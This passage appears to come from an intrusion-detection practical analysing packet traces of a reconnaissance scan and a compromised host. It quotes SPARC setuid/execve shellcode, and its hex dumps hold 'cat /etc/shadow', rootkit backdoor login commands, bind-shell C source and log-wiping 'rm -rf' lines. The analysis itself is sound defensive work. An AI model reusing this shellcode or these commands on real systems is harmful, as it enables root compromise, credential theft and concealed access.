0x0010   XXXX 672f 0800 e95b 980f 0000 7f00 a33f        ..g/...[.......?
0x0020   4545 4545 4545 4545 4545 4545 4545 4545        EEEEEEEEEEEEEEEE
0x0030   4545 4545 4545 4545 4545 4545 4545 4545        EEEEEEEEEEEEEEEE
04:54:18.000000 MY.NET.103.47 > 80.13.221.84: icmp: echo reply (DF)
0x0000   4500 0040 3633 4000 fb01 3441XXXX 672f        E..@63@...4A..g/
0x0010   500d dd54 0000 f15b 980f 0000 7f00 a33f        P..T...[.......?
0x0020   4545 4545 4545 4545 4545 4545 4545 4545        EEEEEEEEEEEEEEEE
0x0030   4545 4545 4545 4545 4545 4545 4545 4545        EEEEEEEEEEEEEEEE
04:54:31.000000 80.13.221.84.3983 > MY.NET.103.47.ftp: S
3285496868:3285496868(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
0x0000   4500 0030 20ed 4000 7506 cf92 500d dd54        E..0..@.u...P..T
0x0010   XXXX 672f 0f8f 0015 c3d4 b424 0000 0000        ..g/.......$....
0x0020   7002 4000 a639 0000 0204 05b4 0101 0402        p.@..9..........
04:54:31.000000 MY.NET.103.47.ftp > 80.13.221.84.3983: R 0:0(0) ack
3285496869 win 0 (DF)
0x0000   4500 0028 3634 4000 3c06 f353XXXX 672f        E..(64@.<..S..g/
0x0010   500d dd54 0015 0f8f 0000 0000 c3d4 b425        P..T...........%
0x0020   5014 0000 12ea 0000                            P.......
04:54:32.000000 80.13.221.84.3983 > MY.NET.103.47.ftp: S
3285496868:3285496868(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
0x0000   4500 0030 2147 4000 7506 cf38 500d dd54        E..0!G@.u..8P..T
0x0010   XXXX 672f 0f8f 0015 c3d4 b424 0000 0000        ..g/.......$....
0x0020   7002 4000 a639 0000 0204 05b4 0101 0402        p.@..9..........
04:54:32.000000 MY.NET.103.47.ftp > 80.13.221.84.3983: R 0:0(0) ack 1 win 0
(DF)
0x0000   4500 0028 3635 4000 3c06 f352XXXX 672f        E..(65@.<..R..g/
0x0010   500d dd54 0015 0f8f 0000 0000 c3d4 b425        P..T...........%
0x0020   5014 0000 12ea 0000                            P.......
04:54:32.000000 80.13.221.84.3983 > MY.NET.103.47.ftp: S
3285496868:3285496868(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
0x0000   4500 0030 21ac 4000 7506 ced3 500d dd54        E..0!.@.u...P..T
0x0010   XXXX 672f 0f8f 0015 c3d4 b424 0000 0000        ..g/.......$....
```

```
0x0020   7002 4000 a639 0000 0204 05b4 0101 0402        p.@..9.........
04:54:32.000000 MY.NET.103.47.ftp > 80.13.221.84.3983: R 0:0(0) ack 1 win 0
(DF)
0x0000   4500 0028 3636 4000 3c06 f351XXXX 672f        E..(66@.<..Q..g/
0x0010   500d dd54 0015 0f8f 0000 0000 c3d4 b425        P..T...........%
0x0020   5014 0000 12ea 0000                            P.......
```

3. Probability the source address was spoofed:

Generally not for reconniasance. The feedback is the purpose of this attack.

4. Description of Attack:

This is a reconnaiscance scan that sends out two ICMP echo requests (Type 8) followed by connections to TCP port 21 (FTP).

5. Attack mechanism:

Rather then try to reword this excerpt describing how NMAP does system fingerprinting, I'd thought I'd reference it instead:

http://www.spirit.com/Network/net0900.html

SYSTEM FINGERPRINTING

by Rik Farrow <rik@spirit.com>

When someone with half a clue decides to attack your system, they will first try to identify the operating system. Not every attack proceeds this way -- script kiddies will probe huge address spaces looking for any system with a particular port open, indicating that just maybe that system will be vulnerable. But for the professional penetration tester or hacker, operating system (OS) identification is an essential step in probing.

The article goes on to talk about other methods of fingerprinting if ICMP is blocked inbound. This trace is clearly conducting fingerprinting plus an FTP
port scan (seen in the above trace). We can see the signature imbedded in the
ICMP packet identifying the packet as being crafted by the NT version of NMAP
put out by eEYE:

```
04:54:18.000000 80.13.221.84 > MY.NET.103.47: icmp: echo request
0x0000   4500 0040 1be1 0000 7501 1494 500d dd54        E..@....u...P..T
0x0010   XXXX 672f 0800 e95b 980f 0000 7f00 a33f        ..g/...[.......?
0x0020   4545 4545 4545 4545 4545 4545 4545 4545        EEEEEEEEEEEEEEEE
0x0030   4545 4545 4545 4545 4545 4545 4545 4545        EEEEEEEEEEEEEEEE
```

My guess is that this is a large, network scan, targeted to identify a particular operating system running the FTP service.

6. Correlations:

There hasn't been much discussion about this particular trace, but there are others out there that have also detected it and made their findings public. Generally a search will turn up GCIA coorelations, but there were none in this
case.

We can see from these two cases that the ICMP echo request packets are identical:

---

http://www.incidents.org/archives/intrusions/msg02844.html

```
Dec  9 19:28:36 - snort [1:0:0] ICMP echo request
   Source IP: 80.128.92.117     Source port: -N/A-
Source host: p50805C75.dip.t-dialin.net
   Target IP: 12.82.136.104   Target port: -N/A-   Proto: ICMP
Target host: 104.seattle-21-22rs.wa.dial-access.att.net


[**] [1:0:0] ICMP echo request [**]
12/09-19:28:36.176878 80.128.92.117 -> 12.82.136.104
ICMP TTL:116 TOS:0x0 ID:54862 IpLen:20 DgmLen:64
Type:8  Code:0  ID:1248   Seq:0  ECHO
43 00 19 F1 45 45 45 45 45 45 45 45 45 45 45 45  C...EEEEEEEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45  EEEEEEEEEEEEEEEE
45 45 45 45                                      EEEE
```

---

http://www.incidents.org/archives/intrusions/msg00837.html

```
syslog:
Jun 13 09:27:15 sparky snort: ICMP echo request:
  217.128.39.76 -> 12.82.137.254

snort:
06/13-09:27:15.922498 217.128.39.76 -> 12.82.137.254
ICMP TTL:111 TOS:0x0 ID:58011 IpLen:20 DgmLen:64
Type:8  Code:0  ID:1985   Seq:0  ECHO
16 01 8C 3E 45 45 45 45 45 45 45 45 45 45 45 45  ...>EEEEEEEEEEEE
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45  EEEEEEEEEEEEEEEE
45 45 45 45                                      EEEE

ipchains:
     Jun 13 09:27:15 sparky kernel: Packet log: input DENY ppp0 PROTO=1
  217.128.39.76:8 12.82.137.254:0
```

```
  L=64 S=0x00 I=58011 F=0x0000 T=111 (#46)
```

---

7. Evidence of active targeting:

It is known that this host was compromised at the time of this scan. A backdoor on port 515 was in place and a high port SSHd was running too. This box was in bad shape and there were many other probes launched against it.
However, for this hacker, this is the active targeting.

8. Calculate severity:

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

(1 + 2) - (1 + 4) = -2

This is because eeye-retina is a low impact scan. The other compromises tell
a different story.

Target Criticality:

Target is a user's desktop, therefore it doesn't carry the same level of criticality as a server.

Attack Lethality:

This host was already compromised with a vulnerability that has not been identified, however, that is not the focus of eeye-retina. Since this is simply a reconnaisance step, it's lethality is low.

System Countermeasures:

The system was not centrally logging ftp activity and was not completely up on its patches.

Network Countermeasures:

The fact that this was caught was due to cross correllations with other suspicious activity.

9. Defensive recommendations:

Keep current on all system patches, disable and block unnecessary services.

10. Multiple choice test question:

What is protocol is associated with a request packet of Type 8?

A. TCP

B. UDP

C. IP

D. ICMP

==========

+ Detect 3 - SetUID 0 Exploit

1. Source of Trace:

This attack was detected by an Intrusion Detection System running outside the firewall of my organization. This sensor is running the IDS software Dragon.

2. Detect was generated by:

This ftp of a likely user to root setuid exploit was detected by Dragon, matching on the SETUID0 signature. Let's look at the attack code of a likely
similar exploit:

Obtained from:
http://spisa.act.uji.es/spi/progs/codigo/www.hack.co.za/html/index.january.html

```
----------------------------------------------------------
/*
 *  Linux/SPARC [setuid(0); execve() of /bin/sh] shellcode.
 */

char c0de[] =    /* anathema <anathema@hack.co.za> */
/* setuid(0); */
"\x82\x10\x20\x17"   /* mov 0x17, %g1              */
"\x90\x22\x40\x09"   /* sub %o1, %o1, %o0          */
"\x91\xd0\x20\x10"   /* ta 0x10                    */

/* execve() of /bin/sh */
"\x2d\x0b\xd8\x9a"   /* sethi %hi(0x2f626800), %l6 */
"\xac\x15\xa1\x6e"   /* or %l6, 0x16e, %l6         */
"\x2f\x0b\xdc\xda"   /* sethi %hi(0x2f736800), %l7 */
"\x90\x0b\x80\x0e"   /* and %sp, %sp, %o0          */
"\x92\x03\xa0\x08"   /* add %sp, 0x08, %o1         */
"\x94\x22\x80\x0a"   /* sub %o2, %o2, %o2          */
"\x9c\x03\xa0\x10"   /* add %sp, 0x10, %sp         */
"\xec\x3b\xbf\xf0"   /* std %l6, [ %sp + - 16 ]    */
"\xd0\x23\xbf\xf8"   /* st %o0, [ %sp + - 8 ]      */
"\xc0\x23\xbf\xfc"   /* clr [ %sp + -4 ]           */
"\x82\x10\x20\x3b"   /* mov 0x3b, %g1              */
"\x91\xd0\x20\x10"   /* ta 0x10                    */
;
```

```
/*
 *  Test out the shellcode.
 */
main ()
{
    void (*sc)() = (void *)c0de;
    sc();
}

/* EOF */
```

Let's take a look and the network trace that triggered the detect:

```
11:47:26.000000 158.123.188.2.62600 > MY.NET.103.47.37777: P 2183:2201(18)
ack 4678 win 8760 (DF)
0x0000   4500 003a 0913 4000 f606 3946 9e7b bc02        E..:..@...9F.{..
0x0010   XXXX 672f f488 9391 2c87 c2e3 825e 2458        ..g/....,....^$X
0x0020   5018 2238 310e 0000 6361 7420 2f65 7463        P."81...cat./etc
0x0030   2f73 6861 646f 773b 0d0a                       /shadow;..
```

If the below attack did trigger the IDS, the "cat /etc/shadow" should have.

```
11:52:19.000000 truncated-ip - 21 bytes missing!209.1.225.194.ftp-data >
MY.NET.103.47.32838: . 3815392797:3815394257(1460) ack 2324821796 win 17520
(DF)
0x0000   4500 05dc f18e 4000 3706 b1e2 d101 e1c2        E.....@.7.......
0x0010   XXXX 672f 0014 8046 e36a 461d 8a91 f724        ..g/...F.jF....$
0x0020   5010 4470 820d 0000 0000 0000 0000 0000        P.Dp............
0x0030   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0040   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0050   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0060   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0070   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0080   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0090   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x00a0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x00b0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x00c0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x00d0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x00e0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x00f0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0100   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0110   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0120   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0130   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0140   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0150   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0160   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0170   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0180   0000 0000 0000 0000 0000 0000 0000 0000        ................
```

```
0x0190   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x01a0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x01b0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x01c0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x01d0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x01e0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x01f0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0200   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0210   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0230   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0240   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0250   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0260   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0270   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0280   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0290   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x02a0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x02b0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x02c0   0000 0000 0000 0000 9008 3fff 8210 208d        ..........?.....
0x02d0   91d0 2008 9008 3fff 8210 2017 91d0 2008        ......?.........
0x02e0   2d0b d89a ac15 a16e ae10 2bdc af2d e001        -......n..+..-..
0x02f0   ae05 e001 af2d e001 ae05 e001 af2d e001        .....-.......-..
0x0300   af2d e001 ae05 e001 af2d e001 ae05 e001        .-.......-......
0x0310   af2d e001 af2d e001 ae05 e001 af2d e001        .-...-.......-..
0x0320   af2d e00d 0a90 0b80 0e92 03a0 0894 1a80        .-..............
0x0330   0d0a 9c03 a010 ec3b bff0 dc23 bff8 c023        .......;...#...#
0x0340   bffc 8210 203b 91d0 2008 901b c00f 8210        .....;..........
0x0350   2001 91d0 2008 0000 0000 0001 00a0 0000        ................
0x0360   0000 0000 0000 0000 0000 0020 2020 2020        ................
0x0370   2020 2020 2828 2828 2820 2020 2020 2020        ....(((((.......
0x0380   2020 2020 2020 2020 2020 2088 1010 1010        ................
0x0390   1010 1010 1010 1010 1010 1044 4444 4444        ...........DDDDD
0x03a0   4444 4444 4410 1010 1010 1010 4141 4141        DDDDD.......AAAA
0x03b0   4141 0101 0101 0101 0101 0101 0101 0101        AA..............
0x03c0   0101 0101 0101 1010 1010 1010 4242 4242        ............BBBB
0x03d0   4242 0202 0202 0202 0202 0202 0202 0202        BB..............
0x03e0   0202 0202 0202 1010 1010 2000 0000 0000        ................
0x03f0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0400   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0410   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0420   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0430   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0440   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0450   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0460   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0470   0000 0001 01d0 0001 01d7 0001 01e8 0001        ................
0x0480   0218 0001 0224 0001 0236 0001 0242 0000        .....$...6...B..
0x0490   0000 286e 756c 6c29 0030 3132 3334 3536        ..(null).0123456
0x04a0   3738 3961 6263 6465 6600 3031 3233 3435        789abcdef.012345
0x04b0   3637 3839 4142 4344 4546 0000 2d00 2b00        6789ABCDEF..-.+.
0x04c0   2000 3078 0030 5800 2d00 2b00 2000 2d00        ..0x.0X.-.+...-.
0x04d0   2b00 2000 2d00 2b00 2000 3031 3233 3435        +...-.+...012345
0x04e0   3637 3839 3000 2320 2b2d 2e30 3132 3334        67890.#.+-.01234
```

```
0x04f0   3536 3738 3968 2400 3031 3233 3435 3637        56789h$.01234567
0x0500   3839 3000 2320 2b2d 2e30 3132 3334 3536        890.#.+-.0123456
0x0510   3738 3968 2400 0000 0000 0000 0000 0000        789h$...........
0x0520   0000 0000 0000 0000 0000 0001 0000 0000        ................
0x0530   0000 0000 0000 0000 0000 0000 0000 0002        ................
0x0540   0100 0000 0000 0000 0000 0000 0000 0000        ................
0x0550   0000 0006 0200 0000 0000 0000 0000 0000        ................
0x0560   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0570   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0580   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x0590   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x05a0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x05b0   0000 0000 0000 0000 0000 0000 0000 0000        ................
0x05c0   0000 0000 0000 00                               .......
```

We do see that we have a match on some of the hex:

```
/* setuid(0); */
"\x82\x10\x20\x17"   /* mov 0x17, %g1            */
.
.
.

/* execve() of /bin/sh */
"\x2d\x0b\xd8\x9a"   /* sethi %hi(0x2f626800), %l6 */
.
.
.
```

3. Probability the source address was spoofed:

The fact that this is a remote, root exploit, where the attacker wants to execute a shell (/bin/sh), it is unlikely that this source address is spoofed.

4. Description of Attack:

Well, we didn't see what really exploited the machine, just the transfer of this exploit. The signature detect is on TCP port 21 containing the code of a
setuid 0 exploit program.

5. Attack mechanism:

Not much to say about the attack since the detect wasn't an attack. So, I will
talk about my analysis mechanism. The transport of exploit code is usually a "good" sign that something sinister is going on. Upon further examination,
we see the cat'ing of the /etc/shadow file (above), the transfer of other code
(rootkit):

```
11:52:19.000000 truncated-ip - 21 bytes missing!209.1.225.194.ftp-data >
MY.NET.103.47.32838: . 61320:62780(1460) ack 1 win 17520 (DF)
0x0000   4500 05dc f4d8 4000 3706 ae98 d101 e1c2        E.....@.7.......
0x0010   XXXX 672f 0014 8046 e36b 35a5 8a91 f724        ..g/...F.k5....$
0x0020   5010 4470 5585 0000 6520 736f 6c61 7269        P.DpU...e.solari
0x0030   7320 7632 2e35 2062 656c 6f77 7d20 2020        s.v2.5.below}...
0x0040   200d 0a75 6e69 7835 3620 2020 2020 2e2f        ...unix56....../
0x0050   756e 6978 3536 205b 686f 7374 5d20 2020        unix56.[host]...
0x0060   2020 7b77 696c 6c20 7265 6d6f 7465 2073        ..{will.remote.s
0x0070   6f6c 6172 6973 2076 322e 3620 6f6e 6c79        olaris.v2.6.only
0x0080   7d0d 0a0d 0a68 6964 6520 2020 2020 2020        }....hide.......
0x0090   2e2f 6869 6465 2020 205b 7573 6572 6e61        ./hide...[userna
0x00a0   6d65 5d20 7b77 696c 6c20 636c 6561 6e20        me].{will.clean.
0x00b0   616c 6c20 6c6f 6720 696e 2074 6865 206d        all.log.in.the.m
0x00c0   6163 6869 6e65 7d0d 0a78 3373 2020 2020        achine}..x3s....
0x00d0   2020 2020 2e2f 7833 7320 2020 2020 2020        ...../x3s.......
0x00e0   2020 2020 2020 2020 7b6c 6f63 616c 2072        ........{local.r
0x00f0   6f6f 7420 6163 6365 7373 7d0d 0a0d 0a73        oot.access}....s
0x0100   7368 2f72 7368 2f72 6c6f 6769 6e20 2020        sh/rsh/rlogin...
0x0110   2020 2020 2020 2020 2020 2020 2020 7b62        ..............{b
0x0120   7920 6465 6661 756c 7420 7468 6579 2061        y.default.they.a
0x0130   7265 2061 6c6c 2073 6574 7569 6420 726f        re.all.setuid.ro
0x0140   6f74 206d 616b 696e 6720 7468 6520 7065        ot.making.the.pe
0x0150   7266 6563 7420 0d0a 2020 2020 2020 2020        rfect..........
0x0160   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0170   2020 2020 2020 2020 6c6f 6361 6c20 6261        ........local.ba
0x0180   636b 646f 6f72 732e 2054 6865 2053 4543        ckdoors..The.SEC
0x0190   5245 5420 776f 7264 2069 7320 6465 6669        RET.word.is.defi
0x01a0   6e65 6420 696e 200d 0a20 2020 2020 2020        ned.in.........
0x01b0   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x01c0   2020 2020 2020 2020 2023 6465 6669 6e65        .........#define
0x01d0   204c 4f43 414c 5f42 4143 4b44 4f4f 5220        .LOCAL_BACKDOOR.
0x01e0   2222 2e7d 0d0a 2020 2020 2020 2020 2020        "".}...........
0x01f0   2020 2020 2020 200d 0a20 2020 2020 2020        ..............
0x0200   2020 2020 2020 2020 2020 4578 616d 706c        ..........Exampl
0x0210   653a 0d0a 2020 2020 2020 2020 2020 2020        e:..............
0x0220   2020 2020 2020 2020 200d 0a20 2020 2020        ..............
0x0230   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0240   7273 6820 2d6c 2053 4543 5245 5420 736f        rsh.-l.SECRET.so
0x0250   6d65 2e69 7020 2f62 696e 2f73 680d 0a20        me.ip./bin/sh...
0x0260   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0250   6d65 2e69 7020 2f62 696e 2f73 680d 0a20        me.ip./bin/sh...
0x0260   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0270   2020 2020 230d 0a20 2020 2020 2020 2020        ....#...........
0x0280   2020 2020 2020 2020 2020 2020 726c 6f67        ............rlog
0x0290   696e 202d 6c20 5345 4352 4554 2073 6f6d        in.-l.SECRET.som
0x02a0   652e 6970 0d0a 2020 2020 2020 2020 2020        e.ip............
0x02b0   2020 2020 2020 2020 2020 2023 0d0a 2020        ...........#....
0x02c0   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x02d0   2020 2073 7368 202d 6c20 5345 4352 4554        ...ssh.-l.SECRET
0x02e0   2073 6f6d 652e 6970 202f 6269 6e2f 7368        .some.ip./bin/sh
0x02f0   0d0a 2020 2020 2020 2020 2020 2020 2020        ................
0x0300   2020 2020 2020 2023 200d 0a0d 0a0d 0a73        .......#.......s
```

```
0x0310   7368 642f 7273 6864 2f72 6c6f 6769 6e64        shd/rshd/rlogind
0x0320   0d0a 6c6f 6769 6e20 2020 2020 2020 2020        ..login.........
0x0330   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0340   2020 207b 5365 6372 6574 2075 6e6c 6f67        ...{Secret.unlog
0x0350   6765 6420 6163 6365 7373 2069 7320 6772        ged.access.is.gr
0x0360   616e 7465 6420 7669 6120 7468 6573 6520        anted.via.these.
0x0370   340d 0a20 2020 2020 2020 2020 2020 2020        4...............
0x0380   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0390   2020 2020 2070 726f 6772 616d 732e 2020        .....programs...
0x03a0   5468 6520 5345 4352 4554 2077 6f72 6420        The.SECRET.word.
0x03b0   6973 2064 6566 696e 6564 2069 6e20 0d0a        is.defined.in...
0x03a0   5468 6520 5345 4352 4554 2077 6f72 6420        The.SECRET.word.
0x03b0   6973 2064 6566 696e 6564 2069 6e20 0d0a        is.defined.in...
0x03c0   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x03d0   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x03e0   2020 2364 6566 696e 6520 5245 4d4f 5445        ..#define.REMOTE
0x03f0   5f42 4143 4b44 4f4f 5220 2222 2e7d 0d0a        _BACKDOOR."".}..
0x0400   0d0a 0909 2045 7861 6d70 6c65 3a0d 0a0d        .....Example:...
0x0410   0a09 0920 2020 2020 7273 6820 2d6c 2053        ........rsh.-l.S
0x0420   4543 5245 5420 736f 6d65 2e6f 776e 6564        ECRET.some.owned
0x0430   2e62 6f78 2027 2f62 696e 2f73 6820 2d69        .box.'/bin/sh.-i
0x0440   270d 0a20 2020 2020 2020 2020 2020 2020        '...............
0x0450   2020 2020 2020 2020 230d 0a20 2020 2020        ........#.......
0x0460   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0470   726c 6f67 696e 202d 6c20 5345 4352 4554        rlogin.-l.SECRET
0x0480   2073 6f6d 652e 6f77 6e65 642e 626f 780d        .some.owned.box.
0x0490   0a20 2020 2020 2020 2020 2020 2020 2020        ................
0x04a0   2020 2020 2020 230d 0a20 2020 2020 2020        ......#.........
0x04b0   2020 2020 2020 2020 2020 2020 2020 7373        ..............ss
0x04c0   6820 2d6c 2072 6f6f 7420 736f 6d65 2e6f        h.-l.root.some.o
0x04d0   776e 6564 2e62 6f78 2020 200d 0a20 2020        wned.box........
0x04e0   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x04f0   2020 526f 6f74 7320 5061 7373 776f 7264        ..Roots.Password
0x0500   3a53 4543 5245 540d 0a20 2020 2020 2020        :SECRET.........
0x0510   2020 2020 2020 2020 2020 2020 2020 230d        ..............#.
0x0520   0a20 2020 2020 2020 2020 2020 2020 2020        ................
0x0530   2020 2020 2020 7465 6c6e 6574 2073 6f6d        ......telnet.som
0x0540   652e 6f77 6e65 642e 626f 780d 0a20 2020        e.owned.box.....
0x0550   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0560   2020 436f 6e6e 6563 7465 6420 746f 2036        ..Connected.to.6
0x0570   392e 3639 2e36 392e 3639 0d0a 2020 2020        9.69.69.69......
0x0580   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x0590   2045 7363 6170 6520 4368 6172 6163 7465        .Escape.Characte
0x05a0   7220 6973 205e 5d0d 0a0d 0a20 2020 2020        r.is.^].........
0x05b0   2020 2020 2020 2020 2020 2020 2020 2020        ................
0x05c0   4c6f 6769 6e3a 53                              Login:S
```

A port 515 backdoor in use that shows the hacker (presumably) viewing exploit
code:

```
11:42:50.000000 158.123.188.2.62598 > MY.NET.103.47.printer: P
628:1946(1318) ack 3 win 8760 (DF)
0x0000   4500 054e 6187 4000 f606 dbbd 9e7b bc02        E..Na.@......{..
0x0010   XXXX 672f f486 0203 2c74 fd9e 8238 3a71        ..g/....,t...8:q
0x0020   5018 2238 81f9 0000 0a23 696e 636c 7564        P."8.....#includ
0x0030   6520 3c73 7464 6c69 622e 683e 0a23 696e        e.<stdlib.h>.#in
0x0040   636c 7564 6520 3c73 7472 696e 672e 683e        clude.<string.h>
0x0050   0a23 696e 636c 7564 6520 3c75 6e69 7374        .#include.<unist
0x0060   642e 683e 0a23 696e 636c 7564 6520 3c73        d.h>.#include.<s
0x0070   7973 2f74 7970 6573 2e68 3e0a 2369 6e63        ys/types.h>.#inc
0x0080   6c75 6465 203c 7379 732f 736f 636b 6574        lude.<sys/socket
0x0090   2e68 3e0a 2369 6e63 6c75 6465 203c 6e65        .h>.#include.<ne
0x00a0   7469 6e65 742f 696e 2e68 3e0a 0a69 6e74        tinet/in.h>..int
0x00b0   0a6d 6169 6e28 696e 7420 6172 6763 2c20        .main(int.argc,.
0x00c0   6368 6172 202a 2a61 7267 7629 0a7b 0a20        char.**argv).{..
0x00d0   2020 2069 6e74 2073 642c 2063 643b 0a20        ...int.sd,.cd;..
0x00e0   2020 2075 6e73 6967 6e65 6420 7368 6f72        ...unsigned.shor
0x00f0   7420 706f 7274 3b0a 2020 2020 7374 7275        t.port;.....stru
0x0100   6374 2073 6f63 6b61 6464 725f 696e 2073        ct.sockaddr_in.s
0x0110   6164 6472 3b0a 0a20 2020 2069 6628 6172        addr;......if(ar
0x0120   6763 203c 2032 2920 6578 6974 2845 5849        gc.<.2).exit(EXI
0x0130   545f 4641 494c 5552 4529 3b0a 2020 2020        T_FAILURE);.....
0x0140   706f 7274 203d 2028 756e 7369 676e 6564        port.=.(unsigned
0x0150   2073 686f 7274 2920 7374 7274 6f75 6c28        .short).strtoul(
0x0160   6172 6776 5b31 5d2c 204e 554c 4c2c 2030        argv[1],.NULL,.0
0x0170   293b 0a20 2020 206d 656d 7365 7428 2673        );.....memset(&s
0x0180   6164 6472 2c20 302c 2073 697a 656f 6620        addr,.0,.sizeof.
0x0190   7361 6464 7229 3b0a 2020 2020 7361 6464        saddr);.....sadd
0x01a0   722e 7369 6e5f 6661 6d69 6c79 203d 2041        r.sin_family.=.A
0x01b0   465f 494e 4554 3b0a 2020 2020 7361 6464        F_INET;.....sadd
0x01c0   722e 7369 6e5f 706f 7274 203d 2068 746f        r.sin_port.=.hto
0x01d0   6e73 2870 6f72 7429 3b0a 2020 2020 7361        ns(port);.....sa
0x01e0   6464 722e 7369 6e5f 6164 6472 2e73 5f61        ddr.sin_addr.s_a
0x01f0   6464 7220 3d20 6874 6f6e 6c28 494e 4144        ddr.=.htonl(INAD
0x0200   4452 5f41 4e59 293b 0a20 2020 2073 6420        DR_ANY);.....sd.
0x0210   3d20 736f 636b 6574 2841 465f 494e 4554        =.socket(AF_INET
0x0220   2c20 534f 434b 5f53 5452 4541 4d2c 2030        ,.SOCK_STREAM,.0
0x0230   293b 0a20 2020 2062 696e 6428 7364 2c20        );.....bind(sd,.
0x0240   2873 7472 7563 7420 736f 636b 6164 6472        (struct.sockaddr
0x0250   202a 2920 2673 6164 6472 2c20 7369 7a65        .*).&saddr,.size
0x0260   6f66 2073 6164 6472 293b 0a20 2020 206c        of.saddr);.....l
0x0270   6973 7465 6e28 7364 2c20 3129 3b0a 2020        isten(sd,.1);...
0x0280   2020 6364 203d 2061 6363 6570 7428 7364        ..cd.=.accept(sd
0x0290   2c20 4e55 4c4c 2c20 4e55 4c4c 293b 0a20        ,.NULL,.NULL);..
0x02a0   2020 2064 7570 3228 6364 2c20 5354 4449        ...dup2(cd,.STDI
0x02b0   4e5f 4649 4c45 4e4f 293b 0a20 2020 2064        N_FILENO);.....d
0x02c0   7570 3228 6364 2c20 5354 444f 5554 5f46        up2(cd,.STDOUT_F
0x02d0   494c 454e 4f29 3b0a 2020 2020 6475 7032        ILENO);.....dup2
0x02e0   2863 642c 2053 5444 4552 525f 4649 4c45        (cd,.STDERR_FILE
0x02f0   4e4f 293b 090a 2020 2020 6578 6563 6c28        NO);......execl(
0x0300   222f 6269 6e2f 7368 222c 2022 7368 222c        "/bin/sh",."sh",
0x0310   2028 6368 6172 202a 2920 3029 3b0a 2020        .(char.*).0);...
0x0320   2020 6578 6974 2830 293b 0a7d 0a5f 5f45        ..exit(0);.}.__E
```

```
0x0330   4f46 5f5f 0a0a 2443 4320 2d6f 2073 6865        OF__..$CC.-o.she
0x0340   6c6c 2073 6865 6c6c 2e63 202d 6c73 6f63        ll.shell.c.-lsoc
0x0350   6b65 7420 2d6c 6e73 6c0a 2e2f 7368 656c        ket.-lnsl../shel
0x0360   6c20 3337 3737 3720 260a 726d 202d 6620        l.37777.&.rm.-f.
0x0370   7368 656c 6c2e 6320 7368 656c 6c0a 0a23        shell.c.shell..#
0x0380   204d 696e 6f72 2063 6c65 616e 696e 672e        .Minor.cleaning.
0x0390   2e2e 0a0a 726d 202d 7266 202f 7661 722f        ....rm.-rf./var/
0x03a0   7370 6f6f 6c2f 6c70 2f74 6d70 2f2a 0a72        spool/lp/tmp/*.r
0x03b0   6d20 2d72 6620 2f76 6172 2f73 706f 6f6c        m.-rf./var/spool
